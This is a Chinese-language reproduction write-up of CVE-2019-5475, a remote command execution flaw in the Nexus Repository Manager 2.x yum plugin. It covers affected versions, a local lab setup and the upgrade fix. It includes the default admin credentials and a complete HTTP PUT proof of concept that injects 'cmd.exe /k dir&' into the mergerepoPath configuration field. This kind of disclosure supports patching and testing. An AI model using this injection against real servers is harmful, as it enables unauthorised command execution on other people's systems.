这期内容当中小编将会给大家带来有关Nexus2 yum插件RCE漏洞CVE-2019-5475是怎样复现的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
0x01 漏洞概述
最近hackerone才公开了Nexus Repository Manager 2.X漏洞细节,该漏洞默认存在部署权限账号,成功登录后可使用“createrepo”或“mergerepo”自定义配置,可触发远程命令执行漏洞
0x02 影响版本
Nexus Repository Manager OSS <= 2.14.13
Nexus Repository Manager Pro <= 2.14.13
限制:admin权限才可触发漏洞
0x03 环境搭建
Nexus-2.14.13下载地址:
https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip
Windows搭建:
解压后进入相应版本目录
分别右击以下文件使用管理员权限运行:
install-nexus.bat
start-nexus.bat
访问 localhost:8081/nexus 验证服务是否真的开启
若访问成功,则服务启动成功
若失败,按下面链接改配置文件wrapper.conf即可
https://blog.csdn.net/nthack5730/article/details/51082270
0x04 漏洞利用
首先以管理员身份(admin/admin123)登录
然后找到漏洞位置:Capabilities - Yum:Configuration - Settings
点击 Save 抓包,更改mergerepoPath后的value值
C:\\Windows\\System32\\cmd.exe /k dir&
此处使用 /k 是因为这样命令执行完会保留进程不退出,而 /c 后执行完会退出;由于给用户提供的命令后面加了一个 --version,所以后面要加个&,&表两个命令同时执行,这样就不会干扰其他命令的执行
Poc如下:
PUT /nexus/service/siesta/capabilities/00012bdb034073a3 HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 241
DNT: 1
Connection: close
Referer: http://127.0.0.1:8081/nexus/
Cookie: NXSESSIONID=105c7cb1-a307-43a3-9ff8-9770b5ae3b13
{"typeId":"yum","enabled":true,"properties":[{"key":"maxNumberParallelThreads","value":"10"},{"key":"createrepoPath","value":"111"},{"key":"mergerepoPath","value":"C:\\Windows\\System32\\cmd.exe /k dir&"}],"id":"00012bdb034073a3","notes":""}
0x05 修复方式
下载官方的修复版2.14.14-01
上述就是小编为大家分享的Nexus2 yum插件RCE漏洞CVE-2019-5475是怎样复现的了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。